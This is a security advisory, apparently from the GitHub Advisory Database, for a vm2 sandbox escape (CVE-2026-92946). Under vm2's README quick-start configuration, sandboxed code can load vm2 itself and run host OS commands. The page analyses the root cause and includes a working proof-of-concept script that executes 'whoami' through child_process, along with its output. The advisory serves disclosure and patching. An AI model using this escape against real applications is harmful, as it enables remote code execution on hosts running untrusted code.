vm2
Affected
- introduced
0, fixed3.11.7(semver)
Fixed versions
3.11.7
Fix
- Fixed version
3.11.7npm install [email protected]
Advisory
Also known as: CVE-2026-92946
vm2: NodeVM require.external without an explicit require.root grants unrestricted host filesystem access and full RCE
Summary
NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes `node_modules`, two defaults combine to fully defeat the sandbox:
require.root defaults to unrestricted — "if omitted every path is allowed."require.context defaults to `"host"` — files loaded this way run through the real Node.js `require()`, not inside any vm2 sandbox.Sandboxed code can therefore require() a relative or absolute path to vm2's own installed package (node_modules/vm2), obtain the real, unwrapped NodeVM/VM classes, construct a brand-new unrestricted nested NodeVM instance, and execute arbitrary host OS commands via child_process.
This is exploitable using vm2's own documented "Quick Examples" configuration in README.md:
const vm = new NodeVM({
require: {
external: true,
root: './',
},
});
root: './' reads as a safety restriction but, in any ordinary npm project layout, ./node_modules/vm2 sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.
Affected Versions
All vm2 versions where lib/resolver-compat.js's makeResolverFromLegacyOptions predates this report — confirmed present as of the current main (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).
Details / Root Cause
lib/resolver-compat.js:
const {
builtin: builtinOpt,
mock: mockOpt,
external: externalOpt,
root: rootPaths,
resolve: customResolver,
customRequire: hostRequire = defaultRequire,
context = 'host', // <-- defaults to 'host'
strict = true,
fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
// root is only canonicalized/validated if the embedder explicitly provided one.
...
}
and CustomResolver.isPathAllowed:
isPathAllowed(filename) {
if (this.rootPaths === undefined) return true; // <-- unrestricted when root is omitted
...
}
and CustomResolver.loadJS:
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default)
mod.exports = vm.readonly(m);
}
CustomResolver (the resolver used whenever require.external is a bare true, i.e. not a scoped array/object) has no external-module-name allowlist at all — it gates purely on isPathAllowed, which is a no-op when root isn't set. Combined with context defaulting to 'host', any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js require().
This is a distinct code path from the two already-fixed advisories that produce a similar end state:
require.root symlink bypass) *assumes* root is configured and attacks the symlink boundary via a TOCTOU between path.resolve() and the native loader's symlink-following. git log -- lib/resolver-compat.js shows its fix (realpath canonicalization) is the *only* history that file has — nothing from the nesting fix touches it, and the fix does nothing when root is never set in the first place, since there is no boundary to attack via symlink.nesting: true bypass) closes a *different* delivery mechanism entirely — the NESTING_OVERRIDE-injected vm2 builtin, gated by a constructor-time check on the nesting option. That check is never consulted by this path: an embedder with nesting: false (the default) and no dangerous require.builtin entries is still fully exposed via require.external: true alone.An embedder who has correctly mitigated both prior advisories remains completely open through this one.
Documentation framing does not mitigate this to "expected behavior." require.external's JSDoc does carry an inline warning ("root should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than nesting: true's bolded WARNING, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent nesting from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in README.md sets root: './', which reads as an active safety choice, not an acknowledgment of "every path is allowed."
Proof of Concept
See attached poc.js. Reproduces using vm2's own documented Quick Examples config, in a normal project layout (poc.js next to a real node_modules/vm2 install) — no symlinks, no nesting, no dangerous require.builtin entries, no modification to vm2's source.
const path = require('path');
const { NodeVM } = require('vm2');
const vm = new NodeVM({
require: { external: true, root: './' }, // verbatim from README "Quick Examples"
});
let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;
const result = vm.run(`
const real = require(${JSON.stringify(vm2EntryPoint)});
const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');
console.log(result); // real host username, e.g. "Abisheik M"
Actual output on the test machine:
{ whoami: 'Abisheik M', platform: 'win32' }
Abisheik M is the real OS account executing the Node.js process — not a sandbox artifact.
Impact
Any application that follows vm2's own README "Quick Examples" pattern (or any config with require.external enabled and require.root set to a path that includes node_modules, or omitted entirely) allows sandboxed/untrusted code to:
child_process (full RCE).fs (once inside the re-instantiated unrestricted NodeVM).NodeVM — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.Suggested Fix
Mirror the precedent already established for nesting (Category 25) and require.root (Category 24): fail loudly at construction time instead of silently defaulting to an unsafe combination.
Critical Basis: The source's own band: CRITICAL
0, fixed 3.11.7 (semver)3.11.7
3.11.7npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0